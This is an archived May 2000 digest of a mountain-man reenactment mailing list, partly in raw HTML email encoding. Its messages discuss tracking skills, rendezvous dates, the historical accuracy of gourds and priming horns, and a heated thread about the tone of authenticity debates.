  What is the test to pass such a requirement?  I started tracking deer =
and dogs in the mountains of my back yard, and about twelve years ago =
read Tom Browns books and started really looking at tracking =
differently.  But to tell the truth sometimes while riding along these =
hills my four year old will notice a track or identify an irregularity =
in a set of them before I do.  Is there somewhere/someone to go that =
could teach me more?=20
  =20
  Still Hungry
  WY


------=_NextPart_000_0337_01BFBB87.A48630A0
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    charset="Windows-1252"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2722.2800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>Wynn,</FONT></DIV>
<DIV> </DIV>
<DIV>Maybe your doing just fine. Ever consider that your 4 year old has =
fresh=20
eyes and is built closer to the ground? <G> Look through fresh =
eyes and=20
get close to your work. Dave Pettersen in the NW Brigade does a good =
Rocky Mt.=20
College on Tracking utilizing the principles taught by Search and Rescue =
people=20
who often have to find folks that don't want to be found. There might be =
a good=20
resource for you to look into. I remain....</DIV>
<DIV> </DIV>
<DIV>YMOS</DIV>
<DIV>Capt. Lahti'</DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:[e-mail]" =
title=[e-mail]>Wynn &=20
  Gretchen Ormond</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:[e-mail]"=20
  title=[e-mail]>[e-mail]</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Thursday, May 11, 2000 =
5:44=20
AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> MtMan-List: =
Tracking</DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=3DArial size=3D2>I read in the AMM membership=20
  requirements:</FONT></DIV>
  <DIV> </DIV>
  <DIV><FONT face=3DArial size=3D2>Must be able to demonstrate ability =
to track man=20
  or animal under natural wilderness conditions. </FONT></DIV>
  <DIV> </DIV>
  <DIV><FONT face=3DArial size=3D2>What is the test to pass such a=20
  requirement?  I started tracking deer and dogs in the mountains =
of my=20
  back yard, and about twelve years ago read Tom Browns books and =
started really=20
  looking at tracking differently.  But to tell the truth sometimes =
while=20
  riding along these hills my four year old will notice =
a track or=20
  identify an irregularity in a set of them before I do.  Is =
there=20
  somewhere/someone to go that could teach me more? </FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT> </DIV>
  <DIV><FONT face=3DArial size=3D2>Still Hungry</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>WY</FONT></DIV>
  <DIV> </DIV></BLOCKQUOTE></BODY></HTML>

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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: western rendezvous
Date: 11 May 2000 20:35:17 -0700

Jerry,

There are a number of "National" Rendezvous held each year. One Western is
put on by NMLRA and one is put on by the regular buckskinner community. The
latter is usually bigger. The AMM puts on a Western National for it's
members and this year will be in Idaho but it is open for members and
invited guests only. There are also several regional "National" rendezvous
put on by NMLRA and the other groups like the Pacific Primitive, the Midwest
Primitive, etc. I'm not sure which one your looking at but there are plenty
to choose from. Sorry I can't help any more than that. I remain......

YMOS
Capt. Lahti'

----- Original Message -----
Sent: Wednesday, May 10, 2000 6:08 PM


> Am I mixed up or what? I thought there was a Western rendezvous in Montana
next
> year close to Glacier park. I just got a notice that NMLRA is going to
have a
> Western at Avery in Arizona in 2001.
> need to get my fact straight, so I can plan vac for a Glacier park
rondy??????
> jd
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>



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From: "Larry Huber" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 11 May 2000 21:00:32 -0700

Gentlemen and Ladies,
     I think we have railed on long enough over this issue.  We've chased
off some and pissed off most.  This is a list open to all and ALL opinions
will be expressed.  Some just have a very forceful way of expressing their
OPINIONS.
      This really isn't supposed to be a "chat" list.  There are any number
of fur trade/reenactor chat lists out there for those who wish to visit
"nice".  Be advised that many of those lists have anything but "nice"
conversations.  This is supposed to be an informational list to exchange
ideas (and opinions) and to seek information pertaining to the fur trade
era.  All are welcome.  Any AMM business or family feuding should be
restricted to the AMM list or to personal communication.  I don't think we
should air our laundry in public.
    So, MY last response to anything with the word "Nazi" in the log line
follows.
    I keep my camp and am more than willing to let others keep their camp
the way they see fit.  When I attend a rendezvous, I attend to the rules and
restrictions of the organizers.  I give aid or advice when asked and
appreciate response when I ask questions of others.  I have wrongly assumed
that some folks do what they do out of ignorance of the period and wish to
be enlightened.  This is often NOT the case.  Many participants like the way
their camp is irregardless of authenticity or historical precedent and are
proud of it.  Fine.  As long as the camp rules are maintained, I have no
problem with those people as long as I can keep my camp my way.  They have
no reason to have to defend their way of doing things to me as I do not
intend to defend myself to them.
     I look at non-AMM functions this way... they are not supposed to be a
Recreation of History, they are supposed to be a Celebration of History.
That helps me keep things in perspective and still enjoy myself.  If the
standards of the event falls so far as to become a mere "shoot" or an excuse
to sell trinkets, I stop attending.  I enjoyed the bliss of big camps full
of women, kids and dogs for years until it all began to look like
"theme-park history" to me.  That's when I contacted the AMM.  By then I was
a familiar face at rendezvous and some of those "elitists" recalled that I
asked sincere questions.
    The AMM is required by charter to share their knowledge with others.
This list is a response to that self-imposed demand. But although we come
from all backgrounds,we are largely a rough, mostly unshod group.  We
unashamedly admit to taking this thing we do seriously.  So when you come to
us with inquireries, prepare yourself for honest (sometimes brutally
unvarnished honest) answers.  You can pick a man to relate to on a one to
one basis but on this list you get everyone's opinion in the way they
express themselves.  There will most likely be someone you can connect with
and others you can't. You can choose, however, whose responses to take to
heart.  This list is OPEN to everyone but not FOR everyone.
    That's my piece on the matter.

    Larry Huber
    #1517
    ----- Original Message -----
Sent: Thursday, May 11, 2000 12:27 PM


> Aw come on guys (and gals)... this is a hobby we have here.... one that my
> wife and I enjoy immensely.  We do the best we can, and I am always
learning
> new stuff about what to do and not to do, etc... We all do the best we can
> with what we got. I admit, I am not 100% accurate, because there are
comfort
> things the little woman likes, and since I gota sleep with her, I say "Yes
> dear", and see that she has it. Mostly, I do try to be as accurate as
> possible, and when some one KINDLY (key word here) points out to me that I
> am in error, I listen and change it.  However, if someone comes into MY
> (another key word) camp and starts givin me a ration, then its time to
start
> looking for a place to hide bodies. I put up with that from no one!!
>
> I am new at this... only been doing it about 10 years, and I love what I
do.
> Since we just moved to W Va, I intend to get into Historical Trekking, and
I
> am studying hard to make it right with my gear, etc... however, I am sure
I
> will make a few mistakes. That is called being human.  Constructive
> criticism is accepted gladly... ranting and raving at me about something
is
> likely to get you hurt... and more than just your feelings. R E S P E C T
is
> another key word. Respect others, and be nice when you point out the error
> of their ways.  You will find they will listen much better.
>
> I agree whole heartedly, that some traders at events shouldnot be allowed
in
> the front gates. All they sell is Pakistani knives, cheap made in China
> junk, and trinkets. Report it to the Ronnyvous authorities.... don't go
off
> on the guy yourself.
>
> Many of us want to be as authentic as possible... kudos to you in doing
> that.  Many of us just aren't as talented at making things as others (this
> is my category), so we do the best we can. Hell, it was many years before
I
> finally learned to make fire with flint and steel. When a friend took me
> aside and showed me how to do it (instead of laughing at my attempts and
> walking away as some others did) I found it was easy as pie.  Now, that is
> how I start all my fires at camp.
>
> Finally to my point here... BE NICE!!!  You don't have to call people
names
> (personally I HATE the word NAZI) to get their attention.  I have learned
> much from this list, and hope to continue to do so. Several months ago,
when
> I was a newbie to the list, I asked a question, and one of the members (no
> longer here) stated that it was a "stupid question, not worth an answer".
> Well, my daddy always said that the only stupid question as was the one
you
> didn't ask. People like that can give lists a bad name.... and that is
not,
> for the most part, I have found this list to be.
>
> Ad Miller
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

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From: Mike Moore <[e-mail]>
Subject: Re: MtMan-List: Nazi's. Last word.(from me)
Date: 11 May 2000 22:10:27 -0600

All,
    Another side of this discussion about people (and I won't mention any
names) who are: crude, alittle hard to take and opininated, is that it is
"authenic".
Sorry for use of the "A" word again, but we tend to think of the mountain men,
long hunters and explorers as gentile, diplomatic people who let by gones by by
gones.
Not so. For the men (and women) who lived in wild times had definite opininons on
subjects which we won't even talk about today ( Indians, hunting, settling new
land). These people
didn't worry about what people thought about them. And it was probably best. Ever
wonder
why no one mentions in their journals how to get out of a fight by using
courtisey, logic sense and reasoning? Alot of times the pilgrims who came west
had to get hard hearted or they wouldn't last long. The time spent in a wild,
dangerous place tended to change individuals.
So when they returned home, friends and family found them "different". Read the
missionary
accounts. Words like "savages" and "heathen" weren't how they just descibed the
Indians.
The days, weeks and years spent living off the land didn't do much for their
manners and speech. While we today like to be moderate, pleasing and not hurting
of others' feelings,
it just wasn't the case for the majority of people who lived in earlier times.
This shouldn't give
us licence to do wrong things today, but we do need to realize that not
everything is nice,
perfect and "civil". At some gatherings, I choose not to associate with people
like this. And I choose my friends carefully. Some guys are alittle too brash for
me, but I can still respect them for what they can do and are.
                                                    mike.

[e-mail] wrote:

> > Just curious...And that question is not mean spirited in any way, but I bet
> >  it can be construed as such, cause remember, I am "insensitive"....
>
> Dennis,
>
> In this day and age, our society doesn't know how to accept the person that
> is covered with rough bark on the outside.  They expect something warm and
> fuzzy, something that conforms to their own PC view of the world, the status
> quo.  Beware the man who rides his own trail, rather than follow the rest of
> the sheep, for he is an outcast to society who cannot be trusted.
>
> On the other hand, he is one of the few who realize what society has done to
> themselves.  He is still the pioneer who follows the old ways.
>
> OldFox
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: [e-mail]
Subject: Re: MtMan-List: New to list
Date: 12 May 2000 00:41:17 EDT

I am also letrying to put together a period correct set of skins and such.  I
would also like to be involved in such a discussion.  I have tried several
patterns (didn't like them much) tried to "copy" from various historical
sources and am still struggleing to get to the point I want to be at.  On or
off list I would like to have this discussion with those who may be able to
help.

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From: [e-mail]
Subject: Re: MtMan-List: Photo of Jim Beckwourth
Date: 12 May 2000 01:14:54 EDT

Perhaps someon on the list can help me.  In "The West, An Illustrated
History," by Geoffery Ward, published by Little, Brown and Co in 1996 there
is a photo of Jim Beckwourth.  This is a different photo from those I've seen
before.  It is credited to Charles Terril in Kent, WA.  I'd like to get a
hold of him and find out more about the photo.  If any of you know him or
more about the phot, please let me know,

Jim Hardee
P.O. Box 1228
Quincy, CA  95971

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From: [e-mail]
Subject: Re: MtMan-List: Gourds
Date: 12 May 2000 01:14:53 EDT

As for gourds in the "early period, 1807-1825,"  Harrison Rogers was given a
gourd of "ogadent" by Fatehr Sanchez as Jedediah Smith and his men were
preparing to leave mission San Gabriel.  Granted this is 1827, a bit later
than the years arbitrarily denoted as "early."  Also, Rogers never made it
back to the Rockies.  Nonethelss, gourds can thus be documented in the hands
of trappers earlier than 1836.

Brooks, George R.  The Southwest Expedition of Jedediah Smith...Arthur H.
Calrk Co.  Glendale, CA, 1977, p.240.

Jim Hardee

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From: Duncan Macready <[e-mail]>
Subject: Re: MtMan-List: How to make friends and influence people.
Date: 11 May 2000 20:15:06 +1200

Capt Lathi ,you and all the others on this and other related lists have won
friends and influenced people all over the world ,and hopefully will
continue to do so for a long time yet.
You folks don't know how lucky you are in the USofA, you have a rich
,exciting and colorful pioneering past which is recent enough to be
accessible thru writings, paintings, lists, artifacts,and accurate
historical research.
You have access to modern made historically accurate firearms and other
equipment, a pool of people with vast practical experience that they are
willing to share,
  You still have the lands , the Wildlife, and the Political freedom to
allow you to relive these experiences.
You have enough shooters to allow you to have dedicated special interest
groups of sufficient numbers to be worth while. (I shoot a matchlock as do
about 3 others in this country , If I want advice I have to give it to myself )
  Just as there will always be those who are happy to make noise and smoke
,with out regard to the accuracy of their firearms, and there are those who
are obsessed with pinpoint accuracy and International competition (Me)
There will be the Hunters and the paper punchers, the beer drinkers and the
shrub drinkers.
There will also always be those who are happy in a pair of jeens and a t
shirt, and those who are happy only with the most meticulously researched
and correctly made gear.
You folks have the room for all these people and more,each one of you is no
more or no less than the other and you are all very lucky.
YMOS
Cutfinger
Friendships made,Problems shared
Campfires across the wilderness.
Auckland, New Zealand


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From: "Frank Fusco" <[e-mail]>
Subject: MtMan-List: priming horn
Date: 12 May 2000 08:35:21 -0500

    When I started this ml business with a flinter I started using a primer
horn and 4f because I was told that was the correct thing to do and everyone
else I observed did the same.
    At times I have tried priming from my big horn with no apparent
difference in results.  Using my smooth bore, a Brown Bess, I only prime
from big horn.
    However on my rifles I still use a priming horn and [this is going to
get screams] one of those brass spring loaded devices.  The reason is that I
find it difficult to prime just a tiny bit into the pan with the main horn
and often spill. That is not only sloppy but potentially dangerous. Also, I
must admit, I use the small primer out of habit and I like it.  May not make
all that much difference in shooting but it is what I have gotten used to.
    There are reference books that show priming horns from 'back then', so
they are correct. I plead mea culpa to my little brass thingy.
Frank "Bearclaw" Fusco, Mountain Home, Arkansas


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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: How to make friends and influence people.
Date: 12 May 2000 08:20:00 -0600

Yo, Cutfinger, do you know my friends, Derek and June Pauley, also of New
Zealand? They spent a year here with me in Colorado and we correspond
regularly. They have a pretty nice set of muzzleloaders and are active in
the local muzzleloading fraternity.
Bill C
-----Original Message-----


>Capt Lathi ,you and all the others on this and other related lists have won
>friends and influenced people all over the world ,and hopefully will
>continue to do so for a long time yet.
>You folks don't know how lucky you are in the USofA, you have a rich
>,exciting and colorful pioneering past which is recent enough to be
>accessible thru writings, paintings, lists, artifacts,and accurate
>historical research.
>You have access to modern made historically accurate firearms and other
>equipment, a pool of people with vast practical experience that they are
>willing to share,
>  You still have the lands , the Wildlife, and the Political freedom to
>allow you to relive these experiences.
>You have enough shooters to allow you to have dedicated special interest
>groups of sufficient numbers to be worth while. (I shoot a matchlock as do
>about 3 others in this country , If I want advice I have to give it to
myself )
>  Just as there will always be those who are happy to make noise and smoke
>,with out regard to the accuracy of their firearms, and there are those who
>are obsessed with pinpoint accuracy and International competition (Me)
>There will be the Hunters and the paper punchers, the beer drinkers and the
>shrub drinkers.
>There will also always be those who are happy in a pair of jeens and a t
>shirt, and those who are happy only with the most meticulously researched
>and correctly made gear.
>You folks have the room for all these people and more,each one of you is no
>more or no less than the other and you are all very lucky.
>YMOS
>Cutfinger
>Friendships made,Problems shared
>Campfires across the wilderness.
>Auckland, New Zealand
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: western rendezvous
Date: 12 May 2000 08:22:09 -0600

Jerry, get hold of the Smoke and Fire News. It carries over 40 pages
advertising rendezvous all over the U.S., plus articles. Great resource.
-----Original Message-----


>Jerry,
>
>There are a number of "National" Rendezvous held each year. One Western is
>put on by NMLRA and one is put on by the regular buckskinner community. The
>latter is usually bigger. The AMM puts on a Western National for it's
>members and this year will be in Idaho but it is open for members and
>invited guests only. There are also several regional "National" rendezvous
>put on by NMLRA and the other groups like the Pacific Primitive, the
Midwest
>Primitive, etc. I'm not sure which one your looking at but there are plenty
>to choose from. Sorry I can't help any more than that. I remain......
>
>YMOS
>Capt. Lahti'
>
>----- Original Message -----
>From: "jerry derringer" <[e-mail]>
>To: <[e-mail]>
>Sent: Wednesday, May 10, 2000 6:08 PM
>Subject: MtMan-List: western rendezvous
>
>
>> Am I mixed up or what? I thought there was a Western rendezvous in
Montana
>next
>> year close to Glacier park. I just got a notice that NMLRA is going to
>have a
>> Western at Avery in Arizona in 2001.
>> need to get my fact straight, so I can plan vac for a Glacier park
>rondy??????
>> jd
>>
>>
>> ----------------------
>> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>
>
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Picking a time frame
Date: 12 May 2000 08:29:41 -0600

This is a multi-part message in MIME format.

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Wynn, sorry to take so long to answer. Where do you live in WY. We own =
land up there and are contemplating a move there within the next couple =
of years.

A discussion of changes with the passage of time can and has filled =
volumes of books. As the the conversation about gourds, I have no idea =
what or when it was - just don't remember it. But. . .I get interested =
in something for a time and research the hell out of it, then move on to =
something else. If it comes up later I usually have to hit the books =
again. That would be the case here. There are lots of references to =
gourds as canteens, especially in the Southwest, and before the white =
man brought manufactured goods to the mountains the Indians had to do =
with what they had. The best I can tell you is to read, read, read. Most =
of us have some hard held opinions but they are usually just that. Even =
if someone quotes a source you had best jot it down and verify it later =
if you want to be absolutely sure. Even after you have done that there =
is usually more material out there, sometimes to the contrary of what =
you think you have found out as sure. Like Doc Ivory says, it's a never =
ending journey. Just be careful of information you receive from people =
that say "it is absolutely this way. . ." or "you must" or "you can't". =
What I have learned over more than 50 years of doing this is that there =
are very few absolutes.
Bill C
    -----Original Message-----
    From: Wynn & Gretchen Ormond <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Thursday, May 11, 2000 6:32 PM
    Subject: MtMan-List: Picking a time frame
   =20
   =20
    Walt wrote:
   =20
    Gourds would not have been present in the initial
    years 1807-1825.  The Pony Trader period may be a different matter =
as
    pointed out to me by Bill Cunningham and his friends.  The =
intercourse grew
    stronger between the north and south rockies over the years.
   =20
   =20
    Would Bill or someone else please tell me more about the changes =
that passage of time caused in the mountains.  For instance, 1825-1828 =
period saw a lot of action in a relatively virgin area that I now live =
in.  What would have been different for those boys in comparision to the =
37 crowd.
    =20
    Hungry for knowledge
    WY


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<DIV><FONT color=3D#000000 size=3D2>Wynn, sorry to take so long to =
answer. Where do=20
you live in WY. We own land up there and are contemplating a move there =
within=20
the next couple of years.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT> </DIV>
<DIV><FONT size=3D2>A discussion of changes with the passage of time can =
and has=20
filled volumes of books. As the the conversation about gourds, I have no =
idea=20
what or when it was - just don't remember it. But. . .I get interested =
in=20
something for a time and research the hell out of it, then move on to =
something=20
else. If it comes up later I usually have to hit the books again. That =
would be=20
the case here. There are lots of references to gourds as canteens, =
especially in=20
the Southwest, and before the white man brought manufactured goods to =
the=20
mountains the Indians had to do with what they had. The best I can tell =
you is=20
to read, read, read. Most of us have some hard held opinions but they =
are=20
usually just that. Even if someone quotes a source you had best jot it =
down and=20
verify it later if you want to be absolutely sure. Even after you have =
done that=20
there is usually more material out there, sometimes to the contrary of =
what you=20
think you have found out as sure. Like Doc Ivory says, it's a never =
ending=20
journey. Just be careful of information you receive from people that say =

"it is absolutely this way. . ." or "you must" or =
"you=20
can't". What I have learned over more than 50 years of doing this =
is that=20
there are very few absolutes.</FONT></DIV>
<DIV><FONT size=3D2>Bill C</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>Wynn & Gretchen Ormond <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>T=
o:=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Thursday, May 11, 2000 6:32 PM<BR><B>Subject: </B>MtMan-List: =
Picking a=20
    time frame<BR><BR></DIV></FONT>
    <DIV><FONT face=3DArial size=3D2>Walt wrote:</FONT></DIV>
    <DIV> </DIV>
    <DIV><FONT face=3DArial size=3D2>Gourds would not have been present =
in the=20
    initial<BR>years 1807-1825.  The Pony Trader period may be a =
different=20
    matter as<BR>pointed out to me by Bill Cunningham and his =
friends.  The=20
    intercourse grew<BR>stronger between the north and south rockies =
over the=20
    years.</FONT></DIV>
    <DIV> </DIV>
    <DIV> </DIV>
    <DIV><FONT face=3DArial size=3D2>Would Bill or someone else please =
tell me more=20
    about the changes that passage of time caused in the=20
    mountains.  For instance, 1825-1828 period saw a lot of =
action in=20
    a relatively virgin area that I now live in.  What would =
have been=20
    different for those boys in comparision to the 37 =
crowd.</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT> </DIV>
    <DIV><FONT face=3DArial size=3D2>Hungry for knowledge</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2>WY</FONT></DIV>
    <DIV> </DIV></BLOCKQUOTE></BODY></HTML>

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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Gourds Buck
Date: 12 May 2000 08:23:11 -0600

Good morning Buck,

Thanks for the warning. Stop.  But about what? Stop.  I learned to write in
telegraphic style when I went to work on the NP railroad for a while 40
years ago. Stop.  I am talking about 2 camps. Stop.  One camp is the Clark
camp on the Clarks Fork of the Yellowstone in 1806. Stop.  The other camp
with Jim Bridger is in the same location.  Stop.

What does this have to do with east of Mississippi? Stop.  Or anyplace else
except the location being talked about by me. Stop.  Let me write it before
you jump.  Stop.   I am going to try to answer Mr. Stickler question this
morning as I am sitting watching the snow falling around me here in Park
City, Montana.

Thanks again for the warning.  Stop.  Walt







----- Original Message -----
Sent: Thursday, May 11, 2000 7:46 PM


> [e-mail] wrote:
>
> > Walt,
> >
> > You stated that...........
> > > is based on the 1836/1836 camp of Jim Bridger and is late enough in
the
> > period to be represented.  Gourds would not have been present in the
initial
> > years 1807-1825.
> >         [Sickler, Louis L]
> >         Can you tell us why?? Just curious.
> >
> >         Lou Sickler
> >         Colorado Territory
>
> before making a statement about gourds in this country, better take a look
at
> Jefferson's Garden Book, his garden was way before the dates quoted, and
he
> did a lot of seed trading east of the Mississippi.
>
> Buck
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Tracking
Date: 12 May 2000 08:31:24 -0600

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Wynn, me again. The best way I know of learning tracking is to get a =
well experienced mentor. In the absence of one, books can help. But in =
either case it comes down to observation and practice, practice, =
practice.
    -----Original Message-----
    From: Wynn & Gretchen Ormond <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Thursday, May 11, 2000 6:42 PM
    Subject: MtMan-List: Tracking
   =20
   =20
    I read in the AMM membership requirements:
   =20
    Must be able to demonstrate ability to track man or animal under =
natural wilderness conditions.=20
   =20
    What is the test to pass such a requirement?  I started tracking =
deer and dogs in the mountains of my back yard, and about twelve years =
ago read Tom Browns books and started really looking at tracking =
differently.  But to tell the truth sometimes while riding along these =
hills my four year old will notice a track or identify an irregularity =
in a set of them before I do.  Is there somewhere/someone to go that =
could teach me more?=20
    =20
    Still Hungry
    WY


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<DIV><FONT color=3D#000000 size=3D2>Wynn, me again. The best way I know =
of learning=20
tracking is to get a well experienced mentor. In the absence of one, =
books can=20
help. But in either case it comes down to observation and practice, =
practice,=20
practice.</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>Wynn & Gretchen Ormond <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>T=
o:=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Thursday, May 11, 2000 6:42 PM<BR><B>Subject: </B>MtMan-List:=20
    Tracking<BR><BR></DIV></FONT>
    <DIV><FONT face=3DArial size=3D2>I read in the AMM membership=20
    requirements:</FONT></DIV>
    <DIV> </DIV>
    <DIV><FONT face=3DArial size=3D2>Must be able to demonstrate ability =
to track=20
    man or animal under natural wilderness conditions. </FONT></DIV>
    <DIV> </DIV>
    <DIV><FONT face=3DArial size=3D2>What is the test to pass such a=20
    requirement?  I started tracking deer and dogs in the mountains =
of my=20
    back yard, and about twelve years ago read Tom Browns books and =
started=20
    really looking at tracking differently.  But to tell the truth=20
    sometimes while riding along these hills my four year old will =
notice=20
    a track or identify an irregularity in a set of them =
before I=20
    do.  Is there somewhere/someone to go that could teach me=20
    more? </FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT> </DIV>
    <DIV><FONT face=3DArial size=3D2>Still Hungry</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2>WY</FONT></DIV>
    <DIV> </DIV></BLOCKQUOTE></BODY></HTML>

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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 12 May 2000 08:35:02 -0600

Larry - That's a very good message~!
-----Original Message-----


>Gentlemen and Ladies,
>     I think we have railed on long enough over this issue.  We've chased
>off some and pissed off most.  This is a list open to all and ALL opinions
>will be expressed.  Some just have a very forceful way of expressing their
>OPINIONS.
>      This really isn't supposed to be a "chat" list.  There are any number
>of fur trade/reenactor chat lists out there for those who wish to visit
>"nice".  Be advised that many of those lists have anything but "nice"
>conversations.  This is supposed to be an informational list to exchange
>ideas (and opinions) and to seek information pertaining to the fur trade
>era.  All are welcome.  Any AMM business or family feuding should be
>restricted to the AMM list or to personal communication.  I don't think we
>should air our laundry in public.
>    So, MY last response to anything with the word "Nazi" in the log line
>follows.
>    I keep my camp and am more than willing to let others keep their camp
>the way they see fit.  When I attend a rendezvous, I attend to the rules
and
>restrictions of the organizers.  I give aid or advice when asked and
>appreciate response when I ask questions of others.  I have wrongly assumed
>that some folks do what they do out of ignorance of the period and wish to
>be enlightened.  This is often NOT the case.  Many participants like the
way
>their camp is irregardless of authenticity or historical precedent and are
>proud of it.  Fine.  As long as the camp rules are maintained, I have no
>problem with those people as long as I can keep my camp my way.  They have
>no reason to have to defend their way of doing things to me as I do not
>intend to defend myself to them.
>     I look at non-AMM functions this way... they are not supposed to be a
>Recreation of History, they are supposed to be a Celebration of History.
>That helps me keep things in perspective and still enjoy myself.  If the
>standards of the event falls so far as to become a mere "shoot" or an
excuse
>to sell trinkets, I stop attending.  I enjoyed the bliss of big camps full
>of women, kids and dogs for years until it all began to look like
>"theme-park history" to me.  That's when I contacted the AMM.  By then I
was
>a familiar face at rendezvous and some of those "elitists" recalled that I
>asked sincere questions.
>    The AMM is required by charter to share their knowledge with others.
>This list is a response to that self-imposed demand. But although we come
>from all backgrounds,we are largely a rough, mostly unshod group.  We
>unashamedly admit to taking this thing we do seriously.  So when you come
to
>us with inquireries, prepare yourself for honest (sometimes brutally
>unvarnished honest) answers.  You can pick a man to relate to on a one to
>one basis but on this list you get everyone's opinion in the way they
>express themselves.  There will most likely be someone you can connect with
>and others you can't. You can choose, however, whose responses to take to
>heart.  This list is OPEN to everyone but not FOR everyone.
>    That's my piece on the matter.
>
>    Larry Huber
>    #1517
>    ----- Original Message -----
>From: Addison Miller <[e-mail]>
>To: <[e-mail]>
>Sent: Thursday, May 11, 2000 12:27 PM
>Subject: MtMan-List: Re: Authenticity Nazis
>
>
>> Aw come on guys (and gals)... this is a hobby we have here.... one that
my
>> wife and I enjoy immensely.  We do the best we can, and I am always
>learning
>> new stuff about what to do and not to do, etc... We all do the best we
can
>> with what we got. I admit, I am not 100% accurate, because there are
>comfort
>> things the little woman likes, and since I gota sleep with her, I say
"Yes
>> dear", and see that she has it. Mostly, I do try to be as accurate as
>> possible, and when some one KINDLY (key word here) points out to me that
I
>> am in error, I listen and change it.  However, if someone comes into MY
>> (another key word) camp and starts givin me a ration, then its time to
>start
>> looking for a place to hide bodies. I put up with that from no one!!
>>
>> I am new at this... only been doing it about 10 years, and I love what I
>do.
>> Since we just moved to W Va, I intend to get into Historical Trekking,
and
>I
>> am studying hard to make it right with my gear, etc... however, I am sure
>I
>> will make a few mistakes. That is called being human.  Constructive
>> criticism is accepted gladly... ranting and raving at me about something
>is
>> likely to get you hurt... and more than just your feelings. R E S P E C T
>is
>> another key word. Respect others, and be nice when you point out the
error
>> of their ways.  You will find they will listen much better.
>>
>> I agree whole heartedly, that some traders at events shouldnot be allowed
>in
>> the front gates. All they sell is Pakistani knives, cheap made in China
>> junk, and trinkets. Report it to the Ronnyvous authorities.... don't go
>off
>> on the guy yourself.
>>
>> Many of us want to be as authentic as possible... kudos to you in doing
>> that.  Many of us just aren't as talented at making things as others
(this
>> is my category), so we do the best we can. Hell, it was many years before
>I
>> finally learned to make fire with flint and steel. When a friend took me
>> aside and showed me how to do it (instead of laughing at my attempts and
>> walking away as some others did) I found it was easy as pie.  Now, that
is
>> how I start all my fires at camp.
>>
>> Finally to my point here... BE NICE!!!  You don't have to call people
>names
>> (personally I HATE the word NAZI) to get their attention.  I have learned
>> much from this list, and hope to continue to do so. Several months ago,
>when
>> I was a newbie to the list, I asked a question, and one of the members
(no
>> longer here) stated that it was a "stupid question, not worth an answer".
>> Well, my daddy always said that the only stupid question as was the one
>you
>> didn't ask. People like that can give lists a bad name.... and that is
>not,
>> for the most part, I have found this list to be.
>>
>> Ad Miller
>>
>>
>> ----------------------
>> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>
>
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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Picking a time frame
Date: 12 May 2000 08:30:05 -0600

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Good morning Wynn,
I am going to respond this morning to the both questions this morning.  =
My friends in Wyoming and Colorado may be interested in this thread.  =
You are certainly right about central Wyoming being the high ball for =
the pony traders from 1825-1828.  Those first 3 years of the pony trader =
rendenzvous made their mark.  I like being responsible for what I have =
to say.
Walt
Park City, Montana
  ----- Original Message -----=20
